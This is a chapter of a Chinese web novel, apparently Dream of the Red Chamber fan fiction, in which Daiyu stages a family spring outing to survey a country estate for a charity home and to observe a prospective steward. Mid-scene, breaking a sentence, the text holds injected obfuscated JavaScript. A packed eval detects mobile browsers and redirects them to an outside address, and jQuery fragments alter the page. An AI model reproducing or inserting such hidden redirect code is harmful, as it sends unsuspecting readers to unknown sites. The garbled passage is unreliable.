香积寺之约既定，黛玉心下稍安，然通州庄子诸事，终究需亲眼看过，方能踏实。与清芷商议时，不免又为如何名正言顺出城一趟而踌躇。


    “若是寻常日子，单单你我前去，未免突兀惹眼。”黛玉倚在窗边，指尖无意识地划着冰裂纹，“禀明外祖母，只说去查看田产，外祖母或会允准，但舅母那边，怕又有多话。”


    清芷正收拾着书案上的章程文稿，闻言抬头，忽道：“若是……不止我们去呢？”


    黛玉回眸：“不止我们？”


    “姑娘可还记得，往年春日，府里也常组织女眷去家庙或近郊庄子踏青散心？”清芷走近几步，低声道，“如今正是春暖花开的好时节，通州庄子虽远些，但临着运河，景致想必也别有野趣。姑娘何不索性做东，禀明老太太，邀上府里相熟的姐妹，再请上顾嬷嬷，一同去庄子上‘春游’一日？姑娘是东道，又是为着善堂选址勘察，老太太念着你一片善心，多半会答应。人多眼杂，我们反而方便私下行动。”


    黛玉眼眸渐渐亮起：“这主意好！以游春为名，行勘察之实。请上三妹妹、云妹妹，她们必是乐意的。宝姐姐若得空，也可同来。至于顾嬷嬷……”她沉吟，“若能请动，自是最好。有她老人家在，一则更显郑重，二则许多事也可当面请教。”


    “正是此理。”清芷笑道，“姑娘便说，因筹划善堂，心中忐忑，想请顾嬷嬷这位见多识广的长辈亲临指点，亦是想让姐妹们瞧瞧那地方，日后或也可常去散心照看。老太太听了，只会觉得你想得周到，姐妹和睦。”


    计议已定，黛玉便拣了个贾母心情松快的午后，带了新制的茯苓糕去请安。闲话间，自然而然地提起：“外祖母，近日春光这样好，园子里花都开遍了。我忽然想起通州那庄子，庄头前次来信，说后坡的桃李也开得烂漫，运河边柳色如烟，景致很是不俗。如今正为善堂的事踌躇，许多关节想象不来，总需亲眼看看地形房舍才好。便冒昧想着，不如索性劳动外祖母并舅母，邀上家里姐妹们，再斗胆请南安王府的顾嬷嬷赏光，一同去庄子上松散一日，也请顾嬷嬷帮着掌掌眼。一切开销用度，皆从孙女的份例里出，只当是孙女孝敬外祖母、酬谢姐妹们平日照拂的一点心意，也是向顾嬷嬷请益的机会。不知……可否？”


    贾母正拈着块茯苓糕，闻言细细瞧了黛玉一眼，见她神色恳切，话也说得周全漂亮。略一沉吟，便笑道：“难为你想得周到。踏青赏春，原是雅事。你既有此心，请顾嬷嬷去瞧瞧也是正理。只是你身子弱，车马劳顿，可能禁得住？”


    黛玉忙道：“多谢外祖母关怀。路程虽有些远，但坐车缓行，一日往返，应无大碍。且想到能借机向顾嬷嬷讨教，心里欢喜，倒不觉得累了。”


    贾母见她坚持，且安排得有情有理，便点头应允：“既如此，便依你。去跟你凤姐姐说，让她帮着安排车马人手，务必妥帖。请顾嬷嬷的帖子，需得你亲自用心写。”


    黛玉心中一块石头落地，忙起身应了。出了荣庆堂，便径直去找王熙凤。


    凤姐儿听了，丹凤眼微挑，笑道：“哎哟，林妹妹如今越发能干了，竟要做起东道来！这是好事，老太太既准了，我自然替你安排得风光体面。车马、随行的婆子丫鬟、路上茶水点心、庄上的饭食预备，你都放心，包在我身上。只一件，你是东家，这银子……”


    黛玉早有所备，含笑道：“怎敢劳动二嫂子垫付？我已预备了些，回头便让清芷送过来。一切但凭二嫂子调度，只求稳妥简便，不必过于奢靡，反倒失了踏青的本意。”


    凤姐儿见她办事有章法，说话也爽利，心下倒也赞许，满口应承下来。


    接下来两日，潇湘馆便忙了起来。黛玉亲自执笔，用工楷写了给顾嬷嬷的请柬，言辞谦恭恳切，点明“仰慕嬷嬷见识，恳请拨冗莅临指点善堂选址”，遣清芷亲自送往顾嬷嬷处。又给迎、探、惜三春及湘云、宝钗等处送了简帖邀请。探春最是热心，即刻便回了帖，还帮着在贾母、王夫人面前凑趣。湘云更是雀跃不已。宝钗因家中事务，只道“若得空必来”。


    顾嬷嬷那边，次日便回了话，只道：“蒙林姑娘盛情，老身届时叨扰。”这便是允了。


    【系统提示：绑定对象成功策划并推动‘群体性社交掩护行动’，以合理名义创造实地勘察机会。此行为表现出出色的资源整合与局面掌控能力，符合‘积极改变现状’核心准则。授予回归点奖励：+18点（策略规划与执行）。当前回归点：169点。】


    清芷得了系统提示，心中更定。她私下对黛玉道：“姑娘，既定了要去，我们需得先有个勘查的章程。庄子房舍如何、坡地土质如何、水源是否便利、左近邻舍情形，这些都要留意。还有那位方先生，顾嬷嬷既说他已抵京，或可设法，让他也出现在庄子附近？不必明着引见，只远远让姑娘看一眼风仪，或由我扮作小厮模样，寻机与他说几句话，探探口风底细。”


    黛玉点头：“很是。方先生那里，就按你说的办。你明日便设法出府一趟，去顾嬷嬷说的‘悦来客栈’留个口信，也不需见人，只让掌柜转告甲字三号房方客官，就说‘东家小姐定于某日往通州庄子踏青，若先生得便，或可于庄子左近茶棚歇脚，小姐车驾经过时，或能遥观地利’。如此，既传递了消息，也留了余地。”


    清芷领命，次日便寻了个由头，说去笔墨铺子替黛玉买些特定的彩笺，禀明了黛玉，便换了身半新不旧的豆绿衫子，出了角门。她并未刻意乔装，只将头发梳得紧些，戴了顶遮阳的帷帽，雇了辆寻常青布小车，直奔通州码头。


    悦来客栈是码头边常见的客舍，人来人往，颇为嘈杂。清芷压低了帷帽，走进店内，对柜后算账的掌柜道：“烦请掌柜的给甲字三号房的方客官带句话。”说着，将一枚系着青穗的铜钱并一张折好的小纸条放在柜上，“就说‘故人遣使问安，依约行事’便可。”


    那掌柜抬眼看了看她，见她衣饰寻常却气度沉静，不似玩笑，又瞥见那铜钱样式特别，心中了然，点点头收了钱和纸条：“姑娘放心，话必带到。”


    清芷并不多留，转身出门，又在码头集市转了转，买了些黛玉点名要的彩笺并几样酥糖点心，便乘车返回贾府。来回不过两个多时辰，未惹任何注目。


    春游之日，定在了三月十六，恰是风和日丽的好天气。贾母兴致颇高，竟也要同去。王夫人、邢夫人见贾母前往，自然陪同。李纨需照看兰儿，便留在家中。迎、探、惜三春，湘云，宝钗，并黛玉，加上各房有头脸的大丫鬟并婆子媳妇，浩浩荡荡，竟有十数辆车驾。顾嬷嬷则乘了一辆青幔小车，只带了两个随身伺候的，在南安王府后街汇入车队。


    车马粼粼，出了城门，沿着官道往通州去。春日原野，绿意盎然，杨柳拂堤，菜花金黄，众人久在深宅，见此开阔景象，无不心情舒畅。


    湘云早扒着车窗，叽叽喳喳说笑不停。宝钗与探春低声谈论着沿途景致。黛玉与清芷同车，偶尔应答姐妹们的笑语，目光却时常掠过窗外，默记着道路远近、田亩风貌。


    约莫行了一个半时辰，便到了通州地界。庄子离码头尚有五六里路，坐落在一处缓坡下，粉墙黑瓦，规模不大，却收拾得齐整。庄头李管事早得了信，带着几个妥当的庄户妇人候在门前，见这许多贵人车驾，慌得手足无措。


    贾母被扶下车，看了看周遭环境，点头道：“倒是个清净地方。”


    顾嬷嬷也下了车，目光平静地扫视一圈，对黛玉道：“林姑娘，先看看房舍吧。”


    黛玉应了，亲自搀着贾母，引着众人入内。庄子是两进的院落，前院有正房、厢房数间，后院则是仓房、灶间并下人所居。房舍虽旧，梁柱却还结实，只需稍加粉刷修缮。李管事在一旁，战战兢兢地回答着贾母、王夫人偶尔的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106954|193921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问话。


    黛玉看似陪着贾母、顾嬷嬷，实则耳听八方，眼观六路。她留意到后院墙外便是那道缓坡，坡上果然稀稀落落生着些桃李杂树，花期已近尾声，绿叶初繁。坡地延伸向上，视野开阔，远处可见运河如带，帆影点点。


    “嬷嬷您看，”黛玉指着坡地对顾嬷嬷道，“便是想将这片坡地整理出来，一部分种些果树药材，一部分或许可建几间敞亮屋子，作学堂工坊之用。只是不知这土质如何，水源可方便？”


    顾嬷嬷微微颔首，对李管事道：“去取把锹来，挖开些土看看。”


    李管事连忙叫人取来铁锹，在坡地不同位置挖了几处。顾嬷嬷蹲下身，捻起土块仔细查看，又问了李管事往年此地所生草木、雨水丰歉等情。黛玉在旁凝神静听，心中默默记下“土质偏沙，需引水”、“向阳处宜果”等要点。


    看罢坡地，众人回到前院喝茶歇息。庄户妇人已依着凤姐儿先前的吩咐，备下了便宴，虽无山珍海味，但鸡鸭菜蔬皆是田家新鲜风味，烹制得倒也干净爽口。贾母尝了尝新摘的荠菜豆腐羹，连说“清爽”。湘云更是对那刚出锅的贴饼子赞不绝口。


    席间，黛玉借斟茶之机，低声问清芷：“可曾留意？”


    清芷微不可察地点点头，目光迅速朝庄子东侧那条通往码头的小路扫了一眼。方才众人察看坡地时，她已瞥见那小路旁的茶棚里，坐着一位身穿半旧青袍、头戴方巾的中年文士，正独自饮茶，目光沉静地望向庄子方向。想必，那便是方杞方守直了。观其形貌，端坐如钟，面容清癯，目光端正，倒不似奸猾之徒。


    用罢午饭，贾母有些倦了，便在庄内收拾出来的净室小憩。王夫人、邢夫人陪着。姐妹们则三三两两，或在庄内散步，或由婆子带着去附近田间看农人耕种。


    黛玉见时机正好，便对顾嬷嬷道：“嬷嬷若不觉乏，可否陪黛玉去庄后河边走走？那里景致甚好，也有些事想私下请教嬷嬷。”


    顾嬷嬷知她心意，点头应允。两人只带了清芷并顾嬷嬷的一个小丫头，缓步出了庄子后门，沿着一条小径向运河边行去。春水初涨，河面开阔，清风徐来，带着湿润的水汽。


    行至一处柳荫下，顾嬷嬷停步，看向黛玉：“姑娘今日看过，觉得如何？”


    黛玉如实道：“房舍需修缮，但根基尚好。坡地可用，但引水灌溉是件难事。庄户看来老实，李管事却似魄力不足，守成有余，开拓恐怕指望不上。”


    顾嬷嬷眼中掠过一丝赞许：“你看得很准。这庄子做善堂，地方是够的，景色也清净。但真要运作起来，千头万绪。方才那李管事，是个本分庄户，管管收租看屋可以，外头打交道、支应场面、规划营生，非他所长。所以，你需要一个像方先生那样的外管事。”


    黛玉心领神会：“嬷嬷说的是。方才……在茶棚那位，可是方先生？”


    顾嬷嬷微微点头：“是他。我让他今日来看看地势环境。此人我曾有数面之缘，家境清寒，但为人耿介，曾在衙门帮办钱粮刑名事务，熟悉地方人情世故，账目上也极清楚。因不肯同流合污，才丢了差事，闲居在家。可用，但需以诚相待，以礼相敬。”


    “多谢嬷嬷提点。”黛玉诚心道谢，“待回去后，便正式下书聘请。”


    两人又说了些善堂初期的难点，顾嬷嬷一一指点，譬如如何与地方保甲打交道备案，如何定立收容契书，如何聘请可靠的医婆、绣娘等。清芷在旁静静听着，只觉这些实际经验，远比纸上章程来得宝贵。


    日头渐渐西斜，黛玉久居内宅，今日如此奔走，难免有些乏累。清芷轻轻替她按揉太阳穴，低声道：“今日很顺利。地方看了，方先生也见了，顾嬷嬷又指点了这许多。接下来，便是定下方先生，开始具体筹办了。”


    “嗯。”黛玉唇角微扬，露出些许疲色，却更有一抹坚定，“总算……迈出实在的一步了。”